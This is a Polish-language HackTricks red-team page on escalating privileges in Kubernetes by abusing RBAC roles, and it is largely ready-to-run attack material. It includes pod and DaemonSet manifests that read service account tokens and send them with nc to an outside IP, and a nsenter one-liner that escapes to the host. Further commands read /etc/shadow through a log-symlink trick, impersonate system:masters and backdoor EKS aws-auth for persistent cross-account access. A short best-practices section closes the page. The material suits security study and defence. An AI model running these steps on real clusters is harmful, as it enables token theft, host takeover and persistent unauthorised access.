Abusing Roles/ClusterRoles in Kubernetes

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Tutaj znajdziesz kilka potencjalnie niebezpiecznych konfiguracji ról i ClusterRoles. Pamiętaj, że możesz uzyskać wszystkie obsługiwane zasoby za pomocą kubectl api-resources

Eskalacja uprawnień

Mówiąc o zdolności uzyskania dostępu do innego podmiotu w klastrze z innymi uprawnieniami (wewnątrz klastra Kubernetes lub do zewnętrznych chmur), w Kubernetes istnieją głównie 4 podstawowe techniki eskalacji uprawnień:

  • Być w stanie podawać się za inne użytkownika/grupy/SA z lepszymi uprawnieniami wewnątrz klastra Kubernetes lub do zewnętrznych chmur

  • Być w stanie tworzyć/aktualizować/wykonująć pody, gdzie można znaleźć lub dołączyć SA z lepszymi uprawnieniami wewnątrz klastra Kubernetes lub do zewnętrznych chmur

  • Być w stanie odczytywać sekrety, ponieważ tokeny SA są przechowywane jako sekrety

  • Być w stanie uciec do węzła z kontenera, gdzie można ukraść wszystkie sekrety kontenerów działających na węźle, poświadczenia węzła i uprawnienia węzła w chmurze, w której działa (jeśli istnieją)

  • Piąta technika, która zasługuje na uwagę, to możliwość uruchomienia port-forward w podzie, ponieważ można uzyskać dostęp do interesujących zasobów w tym podzie.

Dostęp do Dowolnego Zasobu lub Czasownika (Znak wieloznaczny)

Znak wieloznaczny (*) nadaje uprawnienia do dowolnego zasobu z dowolnym czasownikiem. Jest używany przez administratorów. Wewnątrz ClusterRole oznacza to, że atakujący mógłby nadużyć dowolnego namespace w klastrze

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Dostęp do dowolnego zasobu z określonym czasownikiem

W RBAC pewne uprawnienia stwarzają znaczne ryzyko:

  1. create: Udziela możliwości tworzenia dowolnego zasobu klastra, zwiększając ryzyko eskalacji uprawnień.

  2. list: Umożliwia wyświetlanie wszystkich zasobów, potencjalnie ujawniając wrażliwe dane.

  3. get: Pozwala na dostęp do tajnych informacji z kont usług, stanowiąc zagrożenie dla bezpieczeństwa.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Tworzenie Pod - Kradzież Tokena

Atakujący posiadający uprawnienia do tworzenia poda, mógłby dołączyć uprzywilejowane konto usługi do poda i ukraść token, aby podszywać się pod to konto usługi. Efektywnie eskalując uprawnienia do niego.

Przykład poda, który ukradnie token konta usługi bootstrap-signer i wyśle go do atakującego:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Tworzenie i Ucieczka z Podu

Poniższe wskazuje wszystkie uprawnienia, jakie może mieć kontener:

  • Dostęp uprzywilejowany (wyłączenie zabezpieczeń i ustawienie możliwości)

  • Wyłączenie przestrzeni nazw hostIPC i hostPid, które mogą pomóc w eskalacji uprawnień

  • Wyłączenie przestrzeni nazw hostNetwork, umożliwiające dostęp do kradzieży uprawnień chmury węzłów i lepszy dostęp do sieci

  • Zamontowanie hostów / wewnątrz kontenera

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Utwórz pod z:

kubectl --token $token create -f mount_root.yaml

Jednolinijkowiec z tego tweeta i z kilkoma dodatkami:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Teraz, gdy możesz uciec do węzła, sprawdź techniki post-eksploatacji w:

Ukrycie

Prawdopodobnie chcesz być bardziej skryty, na następnych stronach możesz zobaczyć, do czego mógłbyś uzyskać dostęp, tworząc pod tylko aktywując niektóre z wymienionych uprawnień w poprzednim szablonie:

  • Uprawnienia + hostPID

  • Tylko uprawnienia

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Przykłady tworzenia/ nadużywania poprzednich konfiguracji uprzywilejowanych podów można znaleźć w https://github.com/BishopFox/badPods

Tworzenie Poda - Przejście do chmury

Jeśli możesz utworzyć pod (i opcjonalnie konto usługi), możesz uzyskać uprawnienia w środowisku chmurowym, przypisując uprawnienia chmurowe do poda lub konta usługi, a następnie uzyskując do nich dostęp. Co więcej, jeśli możesz utworzyć pod z przestrzenią nazw sieci hosta, możesz ukraść rolę IAM instancji węzła.

Aby uzyskać więcej informacji, sprawdź:

pagePod Escape Privileges

Utwórz/Zmień wdrożenie, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs i Cronjobs

Możliwe jest nadużycie tych uprawnień do utworzenia nowego poda i uzyskania uprawnień, jak w poprzednim przykładzie.

Poniższy plik yaml tworzy daemonset i wycieka token SA wewnątrz poda:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Wykonanie poleceń w kontenerze

pods/exec to zasób w kubernetes używany do wykonywania poleceń w powłoce wewnątrz poda. Pozwala to wykonywać polecenia w kontenerach lub uzyskać dostęp do powłoki.

Dlatego możliwe jest wejście do poda i kradzież tokenu SA, lub wejście do uprzywilejowanego poda, ucieczka do węzła i kradzież wszystkich tokenów podów na węźle oraz (nadużycie) węzeł:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

To uprawnienie pozwala na przekierowanie jednego lokalnego portu do jednego portu w określonym podzie. Ma to ułatwić debugowanie aplikacji działających wewnątrz poda, ale atakujący może nadużyć go, aby uzyskać dostęp do interesujących (jak bazy danych) lub podatnych aplikacji (strony internetowe?) wewnątrz poda:

kubectl port-forward pod/mypod 5000:5000

Ucieczka z zapisywalnego hosta /var/log/

Jak wskazano w tej analizie, jeśli masz dostęp lub możesz utworzyć pod z zamontowanym katalogiem hostów /var/log/, możesz uciec z kontenera. To wynika z faktu, że gdy Kube-API próbuje pobrać logi kontenera (używając kubectl logs <pod>), żąda pliku 0.log poda za pomocą punktu końcowego /logs/ usługi Kubelet. Usługa Kubelet udostępnia punkt końcowy /logs/, który w zasadzie eksponuje system plików /var/log kontenera.

Dlatego atakujący mający dostęp do zapisu w katalogu /var/log/ kontenera mógłby nadużyć tego zachowania na 2 sposoby:

  • Modyfikacja pliku 0.log swojego kontenera (zazwyczaj znajdującego się w /var/logs/pods/namespace_pod_uid/container/0.log) tak, aby był symlinkiem wskazującym na /etc/shadow na przykład. Następnie będziesz mógł wydobyć plik cieni hostów wykonując:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Jeśli atakujący kontroluje jakąkolwiek podmiot z uprawnieniami do odczytu nodes/log, może po prostu utworzyć symlink w /host-mounted/var/log/sym do /, a następnie podczas dostępu do https://<gateway>:10250/logs/sym/ wyświetli system plików roota hosta (zmiana symlinka może umożliwić dostęp do plików).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Laboratorium i zautomatyzowany exploit można znaleźć pod adresem https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Ominięcie ochrony readOnly

Jeśli masz szczęście i bardzo uprzywilejowana zdolność CAP_SYS_ADMIN jest dostępna, możesz po prostu ponownie zamontować folder jako rw:

mount -o rw,remount /hostlogs/

Ominięcie ochrony hostPath readOnly

Jak stwierdzono w tej analizie, możliwe jest ominiecie ochrony:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

Który miał zapobiec ucieczkom takim jak poprzednie, zamiast korzystać z montowania hostPath, używa PersistentVolume i PersistentVolumeClaim do zamontowania folderu hosta w kontenerze z dostępem do zapisu:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Podszywanie się pod uprzywilejowane konta

Z uprawnieniami podszycia się pod użytkownika, atakujący mógłby podszyć się pod uprzywilejowane konto.

Wystarczy użyć parametru --as=<nazwa_użytkownika> w poleceniu kubectl, aby podszyć się pod użytkownika, lub --as-group=<grupa> aby podszyć się pod grupę:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Albo skorzystaj z interfejsu REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Wyświetlanie Sekretów

Uprawnienie do wyświetlania sekretów może umożliwić atakującemu faktyczne odczytanie sekretów poprzez dostęp do punktu końcowego interfejsu API REST:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Odczytywanie tajemnicy – próba odgadnięcia identyfikatorów tokenów

Podczas gdy atakujący posiadający token z uprawnieniami do odczytu wymaga dokładnej nazwy tajemnicy, aby jej użyć, w przeciwieństwie do szerszego uprawnienia listowania tajemnic, istnieją nadal podatności. Domyślne konta usług w systemie mogą być wyliczone, związane z każdą tajemnicą. Te tajemnice mają strukturę nazwy: statyczny prefiks, a następnie losowy pięciocyfrowy alfanumeryczny token (z wyłączeniem pewnych znaków) zgodnie z kodem źródłowym.

Token jest generowany z ograniczonego zestawu 27 znaków (bcdfghjklmnpqrstvwxz2456789), zamiast pełnego zakresu alfanumerycznego. To ograniczenie zmniejsza łączną liczbę możliwych kombinacji do 14 348 907 (27^5). W rezultacie atakujący mogliby wykonać atak brute-force w celu odgadnięcia tokenu w ciągu kilku godzin, co potencjalnie prowadziłoby do eskalacji uprawnień poprzez uzyskanie dostępu do poufnych kont usług.

Wnioski o podpisywaniu certyfikatów

Jeśli masz czasowniki create w zasobie certificatesigningrequests (lub przynajmniej w certificatesigningrequests/nodeClient). Możesz utworzyć nowy CeSR dla nowego węzła.

Zgodnie z dokumentacją możliwe jest automatyczne zatwierdzanie tych wniosków, więc w tym przypadku nie potrzebujesz dodatkowych uprawnień. W przeciwnym razie musiałbyś móc zatwierdzić wniosek, co oznacza aktualizację w certificatesigningrequests/approval i approve w signers z resourceName <signerNameDomain>/<signerNamePath> lub <signerNameDomain>/*

Przykład roli z wszystkimi wymaganymi uprawnieniami to:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Więc, po zatwierdzeniu nowego CSR węzła, możesz nadużyć specjalnych uprawnień węzłów, aby ukraść sekrety i eskalować uprawnienia.

W tym poście i tym konfiguracja GKE K8s TLS Bootstrap jest skonfigurowana z automatycznym podpisywaniem i jest nadużywana do generowania poświadczeń nowego węzła K8s, a następnie nadużywana do eskalacji uprawnień poprzez kradzież sekretów. Jeśli masz wspomniane uprawnienia, możesz zrobić to samo. Zauważ, że pierwszy przykład omija błąd uniemożliwiający nowemu węzłowi dostęp do sekretów wewnątrz kontenerów, ponieważ węzeł może uzyskać dostęp tylko do sekretów kontenerów zamontowanych na nim.

Sposób obejścia to po prostu utworzenie poświadczeń węzła dla nazwy węzła, na którym zamontowany jest kontener z interesującymi sekretami (ale sprawdź, jak to zrobić w pierwszym poście):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

Konfiguracje aws-auth AWS EKS

Podmioty, które mogą modyfikować configmaps w przestrzeni nazw kube-system na klastrach EKS (muszą znajdować się w AWS), mogą uzyskać uprawnienia administratora klastra, nadpisując konfigurację aws-auth. Potrzebne są czasowniki update i patch, lub create jeśli konfiguracja configmap nie została jeszcze utworzona:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Możesz użyć aws-auth do trwałego dostępu dla użytkowników z innych kont.

Jednak aws --profile other_account eks update-kubeconfig --name <cluster-name> nie działa z innego konta. Ale faktycznie aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing działa, jeśli podasz ARN klastra zamiast samej nazwy. Aby kubectl działał, upewnij się, że skonfigurowano kubeconfig ofiary i w argumentach exec aws dodaj --profile other_account_role, aby kubectl używał profilu innego konta do uzyskania tokena i kontaktowania się z AWS.

Eskalacja w GKE

Istnieją 2 sposoby przypisywania uprawnień K8s do podmiotów GCP. W każdym przypadku podmiot musi również mieć uprawnienie container.clusters.get, aby móc zbierać poświadczenia dostępu do klastra, lub będziesz musiał wygenerować własny plik konfiguracyjny kubectl (postępuj zgodnie z następnym odnośnikiem).

Podczas rozmowy z punktem końcowym interfejsu API K8s, zostanie wysłany token uwierzytelniający GCP. Następnie GCP, poprzez interfejs API K8s, najpierw sprawdzi, czy podmiot (za pomocą adresu e-mail) ma jakikolwiek dostęp wewnątrz klastra, a następnie sprawdzi, czy ma jakikolwiek dostęp za pośrednictwem GCP IAM. Jeśli którekolwiek z nich jest prawdziwe, zostanie udzielona odpowiedź. Jeśli nie, zostanie podana informacja o błędzie, sugerująca udzielenie uprawnień za pośrednictwem GCP IAM.

Następnie, pierwsza metoda polega na użyciu GCP IAM, uprawnienia K8s mają swoje odpowiednie uprawnienia GCP IAM, i jeśli podmiot je posiada, będzie mógł ich użyć.

pageGCP - Container Privesc

Drugi sposób polega na przypisaniu uprawnień K8s wewnątrz klastra do identyfikacji użytkownika za pomocą jego adresu e-mail (w tym konta usługowe GCP).

Utwórz tokeny kont usługowych

Podmioty, które mogą tworzyć żądania tokenów (serviceaccounts/token) Podczas rozmowy z punktem końcowym interfejsu API K8s SAs (informacje z tutaj).

ephemeralcontainers

Podmioty, które mogą aktualizować lub poprawiać pods/ephemeralcontainers mogą uzyskać wykonanie kodu na innych podach, a potencjalnie wydostać się do ich węzła, dodając kontener tymczasowy z uprzywilejowanym securityContext

ValidatingWebhookConfigurations lub MutatingWebhookConfigurations

Podmioty z dowolnymi czasownikami create, update lub patch nad validatingwebhookconfigurations lub mutatingwebhookconfigurations mogą utworzyć jedną z takich webhookconfigurations, aby móc eskalować uprawnienia.

Dla przykładu mutatingwebhookconfigurations sprawdź tę sekcję tego posta.

Eskalacja

Jak można przeczytać w następnej sekcji: Zapobieganie wbudowanej eskalacji uprawnień, podmiot nie może aktualizować ani tworzyć ról ani clusterroles bez posiadania tych nowych uprawnień. Z wyjątkiem, gdy ma czasownik escalate nad roles lub clusterroles. Wtedy może aktualizować/tworzyć nowe role, clusterroles z lepszymi uprawnieniami niż te, które posiada.

Proxy węzłów

Podmioty mające dostęp do podzasobu nodes/proxy mogą wykonywać kod na podach za pośrednictwem interfejsu API Kubelet (zgodnie z tutaj). Więcej informacji na temat uwierzytelniania Kubelet znajdziesz na tej stronie:

pageKubelet Authentication & Authorization

Masz przykład, jak uzyskać RCE rozmawiając z autoryzowanym interfejsem API Kubelet tutaj.

Usuń podsy + węzły nieskalowalne

Podmioty, które mogą usunąć podsy (czasownik delete nad zasobem pods), lub wymusić usunięcie podów (czasownik create nad zasobem pods/eviction), lub zmienić status poda (dostęp do pods/status) i mogą uniemożliwić skalowanie innych węzłów (dostęp do nodes/status) lub usunąć węzły (czasownik delete nad zasobem nodes) i mają kontrolę nad podem, mogą ukraść pody z innych węzłów, aby były wykonywane na skompromitowanym węźle, a atakujący może ukraść tokeny z tych podów.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Status usług (CVE-2020-8554)

Podmioty, które mogą modyfikować services/status, mogą ustawić pole status.loadBalancer.ingress.ip w celu wykorzystania niezałatanej luki CVE-2020-8554 i uruchomienia ataków MiTM na klaster. Większość zabezpieczeń przed CVE-2020-8554 zapobiega tylko usługom ExternalIP (zgodnie z tym).

Status węzłów i modułów

Podmioty posiadające uprawnienia update lub patch do nodes/status lub pods/status, mogą modyfikować etykiety w celu wpływania na narzucone ograniczenia dotyczące planowania.

Wbudowane zapobieganie eskalacji uprawnień

Kubernetes posiada wbudowany mechanizm zapobiegający eskalacji uprawnień.

Ten system zapewnia, że użytkownicy nie mogą podnosić swoich uprawnień poprzez modyfikowanie ról lub powiązań ról. Egzekwowanie tej zasady następuje na poziomie interfejsu API, zapewniając zabezpieczenie nawet wtedy, gdy autoryzator RBAC jest nieaktywny.

Zasada ta określa, że użytkownik może tworzyć lub aktualizować rolę tylko wtedy, gdy posiada wszystkie uprawnienia, które rola obejmuje. Ponadto zakres istniejących uprawnień użytkownika musi być zgodny z rolą, którą próbuje utworzyć lub zmodyfikować: albo ogólnoklastrowy dla ClusterRoles, albo ograniczony do tej samej przestrzeni nazw (lub ogólnoklastrowy) dla Roles.

Istnieje wyjątek od poprzedniej zasady. Jeśli podmiot ma czasownik escalate nad roles lub clusterroles, może zwiększyć uprawnienia ról i clusterroles nawet bez posiadania odpowiednich uprawnień.

Pobierz i zmodyfikuj RoleBindings/ClusterRoleBindings

Wygląda na to, że ta technika działała wcześniej, ale według moich testów już nie działa z tego samego powodu, co wyjaśniono w poprzednim rozdziale. Nie możesz tworzyć/modyfikować rolebindingów, aby nadać sobie lub innemu SA pewne uprawnienia, jeśli ich nie masz już.

Uprawnienie do tworzenia Rolebindings pozwala użytkownikowi powiązać role z kontem usługi. To uprawnienie może potencjalnie prowadzić do eskalacji uprawnień, ponieważ pozwala użytkownikowi powiązać uprawnienia administratora z skompromitowanym kontem usługi.

Inne ataki

Aplikacja proxy Sidecar

Domyślnie nie ma szyfrowania w komunikacji między modułami. Wzajemna autentykacja, dwukierunkowa, moduł do modułu.

Utwórz aplikację proxy Sidecar

Utwórz swój plik .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Edytuj plik .yaml i dodaj odkomentowane linie:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Zobacz dzienniki proxy:

kubectl logs app -C proxy

Więcej informacji na: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Złośliwy kontroler przyjęć

Kontroler przyjęć przechwytuje żądania do serwera API Kubernetes przed trwałością obiektu, ale po uwierzytelnieniu i autoryzacji żądania.

Jeśli atakujący w jakiś sposób zdoła wstrzyknąć kontroler przyjęć mutacji, będzie mógł modyfikować już uwierzytelnione żądania. Może to umożliwić eskalację uprawnień oraz zazwyczaj trwać w klastrze.

Przykład z https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Sprawdź status, aby zobaczyć, czy jest gotowy:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Następnie wdroż nową kapsułkę:

kubectl run nginx --image nginx
kubectl get po -w

Kiedy widzisz błąd ErrImagePull, sprawdź nazwę obrazu za pomocą jednego z poniższych zapytań:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Jak widać na powyższym obrazie, próbowaliśmy uruchomić obraz nginx, ale ostatecznie uruchomiony został obraz rewanthtammana/malicious-image. Co właśnie się stało!!?

Techniczności

Skrypt ./deploy.sh ustanawia kontroler admijsji webhook mutujący, który modyfikuje żądania do interfejsu API Kubernetes zgodnie z określonymi w swoich liniach konfiguracyjnych, wpływając na obserwowane wyniki:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

Najlepsze praktyki

Wyłączenie Automatycznego Montowania Tokenów Konta Usługi

  • Pody i Konta Usługi: Domyślnie pody montują token konta usługi. Aby zwiększyć bezpieczeństwo, Kubernetes pozwala na wyłączenie tej funkcji automatycznego montowania.

  • Jak Zastosować: Ustaw automountServiceAccountToken: false w konfiguracji kont usługi lub podów zaczynając od wersji Kubernetes 1.6.

Ograniczenie Przypisywania Użytkowników w RoleBindings/ClusterRoleBindings

  • Wybiórcze Włączenie: Upewnij się, że do RoleBindings lub ClusterRoleBindings są dodawani tylko niezbędni użytkownicy. Regularnie przeprowadzaj audyty i usuwaj nieistotnych użytkowników, aby utrzymać wysokie bezpieczeństwo.

Role Specyficzne dla Przestrzeni Nazw nad Role na Poziomie Klustra

  • Role vs. ClusterRoles: Preferuj użycie Roli i RoleBindings dla uprawnień specyficznych dla przestrzeni nazw, zamiast ClusterRoles i ClusterRoleBindings, które mają zastosowanie na poziomie klustra. Ten podejście oferuje bardziej precyzyjną kontrolę i ogranicza zakres uprawnień.

Użyj narzędzi automatyzujących

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated